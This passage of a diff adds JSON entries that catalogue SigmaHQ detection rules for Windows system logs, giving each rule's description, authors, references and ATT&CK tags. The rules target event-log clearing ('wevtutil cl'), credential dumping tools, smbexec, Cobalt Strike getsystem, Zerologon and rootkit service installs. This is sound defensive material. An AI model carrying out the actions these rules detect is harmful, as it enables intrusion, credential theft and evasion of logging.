"attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "6c0a7755-6d31-44fa-80e1-133e57752680", + "value": "Windows Defender Threat Detection Disabled - Service" + }, + { + "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/01/10", + "falsepositive": [ + "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", + "System provisioning (system reset before the golden image creation)" + ], + "filename": "win_system_eventlog_cleared.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_eventlog_cleared.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001", + "car.2016-04-002" + ] + }, + "uuid": "a62b37e0-45d3-48d9-a517-90c1a1b0186b", + "value": "Eventlog Cleared" + }, + { + "description": "Detects the use of smbexec.py tool by detecting a specific service installation", + "meta": { + "author": "Omer Faruk Celik", + "creation_date": "2018/03/20", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_hack_smbexec.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_hack_smbexec.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.execution", + "attack.t1021.002", + "attack.t1569.002" + ] + }, + "uuid": "52a85084-6989-40c3-8f32-091e12e13f09", + "value": "smbexec.py Service Installation" + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_invoke_obfuscation_clip_services.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_clip_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "f7385ee2-0e0c-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation CLIP+ Launcher" + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", + "meta": { + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "creation_date": "2019/11/08", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_invoke_obfuscation_obfuscated_iex_services.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_obfuscated_iex_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "51aa9387-1c53-4153-91cc-d73c59ae1ca9", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation" + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_invoke_obfuscation_stdin_services.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_stdin_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "72862bf2-0eb1-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation STDIN+ Launcher" + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_invoke_obfuscation_var_services.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_var_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "8ca7004b-e620-4ecb-870e-86129b5b8e75", + "value": "Invoke-Obfuscation VAR+ Launcher" + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_invoke_obfuscation_via_compress_services.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_compress_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "175997c5-803c-4b08-8bb0-70b099f47595", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION" + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_invoke_obfuscation_via_rundll_services.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_rundll_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "11b52f18-aaec-4d60-9143-5dd8cc4706b9", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER" + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_invoke_obfuscation_via_stdin_services.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_stdin_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "487c7524-f892-4054-b263-8a0ace63fc25", + "value": "Invoke-Obfuscation Via Stdin" + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_invoke_obfuscation_via_use_clip_services.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_clip_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "63e3365d-4824-42d8-8b82-e56810fefa0c", + "value": "Invoke-Obfuscation Via Use Clip" + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_invoke_obfuscation_via_use_mshta_services.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_mshta_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "7e9c7999-0f9b-4d4a-a6ed-af6d553d4af4", + "value": "Invoke-Obfuscation Via Use MSHTA" + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_invoke_obfuscation_via_use_rundll32_services.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_rundll32_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "641a4bfb-c017-44f7-800c-2aee0184ce9b", + "value": "Invoke-Obfuscation Via Use Rundll32" + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_invoke_obfuscation_via_var_services.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_var_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "14bcba49-a428-42d9-b943-e2ce0f0f7ae6", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION" + }, + { + "description": "Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/11/09", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_kdcsvc_rc4_downgrade.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://support.microsoft.com/en-us/topic/kb5021131-how-to-manage-the-kerberos-protocol-changes-related-to-cve-2022-37966-fd837ac3-cdec-4e76-a6ec-86e67501407d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_kdcsvc_rc4_downgrade.yml" + ], + "tags": [ + "attack.privilege_escalation" + ] + }, + "uuid": "e6f81941-b1cd-4766-87db-9fc156f658ee", + "value": "KDC RC4-HMAC Downgrade CVE-2022-37966" + }, + { + "description": "Detects service creation from KrbRelayUp tool used for privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings)", + "meta": { + "author": "Sittikorn S, Tim Shelton", + "creation_date": "2022/05/11", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_krbrelayup_service_installation.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Dec0ne/KrbRelayUp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_krbrelayup_service_installation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ] + }, + "uuid": "e97d9903-53b2-41fc-8cb9-889ed4093e80", + "value": "KrbRelayUp Service Installation" + }, + { + "description": "Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/10/07", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_lpe_indicators_tabtip.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/antonioCoco/JuicyPotatoNG", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_lpe_indicators_tabtip.yml" + ], + "tags": [ + "attack.execution", + "attack.t1557.001" + ] + }, + "uuid": "bc2e25ed-b92b-4daa-b074-b502bdd1982b", + "value": "Local Privilege Escalation Indicator TabTip" + }, + { + "description": "Detects the reporting of NTLMv1 being used between a client and server", + "meta": { + "author": "Tim Shelton", + "creation_date": "2022/04/26", + "falsepositive": [ + "Environments that use NTLMv1" + ], + "filename": "win_system_lsasrv_ntlmv1.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://attack.mitre.org/techniques/T1550/002/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_lsasrv_ntlmv1.yml" + ], + "tags": [ + "attack.execution", + "attack.t1550.002", + "attack.s0363" + ] + }, + "uuid": "e9d4ab66-a532-4ef7-a502-66a9e4a34f5d", + "value": "NTLMv1 Logon Between Client and Server" + }, + { + "description": "Detects well-known credential dumping tools execution via service execution events", + "meta": { + "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2017/03/05", + "falsepositive": [ + "Legitimate Administrator using credential dumping tool for password recovery" + ], + "filename": "win_system_mal_creddumper.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_mal_creddumper.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "attack.t1003.006", + "attack.t1569.002", + "attack.s0005" + ] + }, + "uuid": "4976aa50-8f41-45c6-8b15-ab3fc10e79ed", + "value": "Credential Dumping Tools Service Execution" + }, + { + "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", + "meta": { + "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", + "creation_date": "2019/10/26", + "falsepositive": [ + "Highly unlikely" + ], + "filename": "win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.001", + "attack.t1134.002" + ] + }, + "uuid": "843544a7-56e0-4dcc-a44f-5cc266dd97d6", + "value": "Meterpreter or Cobalt Strike Getsystem Service Installation" + }, + { + "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/05/06", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_moriya_rootkit.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_moriya_rootkit.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "25b9c01c-350d-4b95-bed1-836d04a4f324", + "value": "Moriya Rootkit" + }, + { + "description": "This the exploitation of a NTFS vulnerability as reported without many details via Twitter", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/01/11", + "falsepositive": [ + "Unlikely" + ], + "filename": "win_system_ntfs_vuln_exploit.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/jonasLyk/status/1347900440000811010", + "https://twitter.com/wdormann/status/1347958161609809921", + "https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_ntfs_vuln_exploit.yml" + ], + "tags": [ + "attack.impact", + "attack.t1499.001" + ] + }, + "uuid": "f14719ce-d3ab-4e25-9ce6-2899092260b0", + "value": "NTFS Vulnerability Exploitation" + }, + { + "description": "Detects Windows Pcap driver installation based on a list of associated .sys files.", + "meta": { + "author": "Cian Heasley", + "creation_date": "2020/06/10", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_pcap_drivers.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://ragged-lab.blogspot.com/2020/06/capturing-pcap-driver-installations.html#more", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_pcap_drivers.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.t1040" + ] + }, + "uuid": "7b687634-ab20-11ea-bb37-0242ac130002", + "value": "Windows Pcap Drivers" + }, + { + "description": "This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with \"kali\" hostname.", + "meta": { + "author": "Demyan Sokolin @_drd0c, Teymur Kheirkhabarov @HeirhabarovT, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": "No established falsepositives", + "filename": "win_system_possible_zerologon_exploitation_using_wellknown_tools.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.secura.com/blog/zero-logon", + "https://bi-zone.medium.com/hunting-for-zerologon-f65c61586382", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_possible_zerologon_exploitation_using_wellknown_tools.yml" + ], + "tags": [ + "attack.t1210", + "attack.lateral_movement" + ] + }, + "uuid": "18f37338-b9bd-4117-a039-280c81f7a596", + "value": "Zerologon Exploitation Using Well-known Tools" + }, + { + "description": "Detects powershell script installed as a Service", + "meta": { + "author": "oscd.community, Natalia Shornikova", + "creation_date": "2020/10/06", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_powershell_script_installed_as_service.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_powershell_script_installed_as_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ] + }, + "uuid": "a2e5019d-a658-4c6a-92bf-7197b54e2cae", + "value": "PowerShell Scripts Installed as Services" + }, + { + "description": "Detects QuarksPwDump clearing access history in hive", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/05/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_quarkspwdump_clearing_hive_access_history.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_quarkspwdump_clearing_hive_access_history.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ] + }, + "uuid": "39f919f3-980b-4e6f-a975-8af7e507ef2b", + "value": "QuarksPwDump Clearing Access History" + }, + { + "description": "Detects rare service installs that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious services", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/08", + "falsepositive": [ + "Software installation", + "Software updates" + ], + "filename": "win_system_rare_service_installs.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_rare_service_installs.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ] + }, + "uuid": "66bfef30-22a5-4fcd-ad44-8d81e60922ae", + "value": "Rare Service Installations" + }, + { + "description": "Detect suspicious error on protocol RDP, potential CVE-2019-0708", + "meta": { + "author": "Lionel PRAT, Christophe BROCAS, @atc_project (improvements)", + "creation_date": "2019/05/24", + "falsepositive": [ + "Bad connections or network interruptions" + ], + "filename": "win_system_rdp_potential_cve_2019_0708.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/zerosum0x0/CVE-2019-0708", + "https://github.com/Ekultek/BlueKeep", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_rdp_potential_cve_2019_0708.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1210", + "car.2013-07-002" + ] + }, + "uuid": "aaa5b30d-f418-420b-83a0-299cb6024885", + "value": "Potential RDP Exploit CVE-2019-0708" + }, + { + "description": "Detects PsExec service installation and execution events (service and Sysmon)", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/21", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_service_install_hacktools.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_hacktools.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ] + }, + "uuid": "d26ce60c-2151-403c-9a42-49420d87b5e4", + "value": "Hacktool Service Registration or Execution" + }, + { + "description": "Detects NetSupport Manager service installation on the target system.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/31", + "falsepositive": [ + "Legitimate use of the tool" + ], + "filename": "win_system_service_install_netsupport_manager.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "http://resources.netsupportsoftware.com/resources/manualpdfs/nsm_manual_uk.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_netsupport_manager.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "2d510d8d-912b-45c5-b1df-36faa3d8c3f4", + "value": "NetSupport Manager Service Install" + }, + { + "description": "Detects PAExec service installation", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/26", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_service_install_paexec.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.poweradmin.com/paexec/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_paexec.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ] + }, + "uuid": "de7ce410-b3fb-4e8a-b38c-3b999e2c3420", + "value": "PAExec Service Installation" + }, + { + "description": "Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines.\nPDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/22", + "falsepositive": [ + "Legitimate use of the tool" + ], + "filename": "win_system_service_install_pdqdeploy.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_pdqdeploy.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "ee9ca27c-9bd7-4cee-9b01-6e906be7cae3", + "value": "New PDQDeploy Service - Server Side" + }, + { + "description": "Detects PDQDeploy service installation on the target system.\nWhen a package is deployed via PDQDeploy it installs a remote service on the target machine with the name \"PDQDeployRunner-X\" where \"X\" is an integer starting from 1\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/22", + "falsepositive": [ + "Legitimate use of the tool" + ], + "filename": "win_system_service_install_pdqdeploy_runner.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_pdqdeploy_runner.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "b98a10af-1e1e-44a7-bab2-4cc026917648", + "value": "New PDQDeploy Service - Client Side" + }, + { + "description": "Detects PsExec service installation and execution events (service and Sysmon)", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/06/12", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_service_install_psexec.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_psexec.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ] + }, + "uuid": "42c575ea-e41e-41f1-b248-8093c3e82a28", + "value": "PsExec Service Installation" + }, + { + "description": "Detects Remote Utilities Host service installation on the target system.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/31", + "falsepositive": [ + "Legitimate use of the tool" + ], + "filename": "win_system_service_install_remote_utilities.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.remoteutilities.com/support/kb/host-service-won-t-start/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_remote_utilities.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "85cce894-dd8b-4427-a958-5cc47a4dc9b9", + "value": "Remote Utilities Host Service Install" + }, + { + "description": "Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali", + "creation_date": "2022/08/25", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_service_install_sliver.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/client/command/commands.go#L1231", + "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_sliver.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.t1543.003", + "attack.t1569.002" + ] + }, + "uuid": "31c51af6-e7aa-4da7-84d4-8f32cc580af2", + "value": "Sliver C2 Default Service Installation" + }, + { + "description": "Detects a service installation that uses a suspicious double ampersand used in the image path value", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/07/05", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_service_install_susp_double_ampersand.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_susp_double_ampersand.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "ca83e9f3-657a-45d0-88d6-c1ac280caf53", + "value": "New Service Uses Double Ampersand in Path" + }, + { + "description": "This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded", + "meta": { + "author": "Dimitrios Slamaris", + "creation_date": "2017/05/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_susp_dhcp_config.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", + "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "13fc89a9-971e-4ca6-b9dc-aa53a445bf40", + "value": "DHCP Server Loaded the CallOut DLL" + }, + { + "description": "This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded", + "meta": { + "author": "Dimitrios Slamaris, @atc_project (fix)", + "creation_date": "2017/05/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_susp_dhcp_config_failed.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", + "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config_failed.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "75edd3fd-7146-48e5-9848-3013d7f0282c", + "value": "DHCP Server Error Failed Loading the CallOut DLL" + }, + { + "description": "One of the Windows Core Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", + "meta": { + "author": "Florian Roth, Tim Shelton", + "creation_date": "2022/05/17", + "falsepositive": [ + "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", + "System provisioning (system reset before the golden image creation)" + ], + "filename": "win_system_susp_eventlog_cleared.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_eventlog_cleared.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001", + "car.2016-04-002" + ] + }, + "uuid": "100ef69e-3327-481c-8e5c-6d80d9507556", + "value": "System Eventlog Cleared" + }, + { + "description": 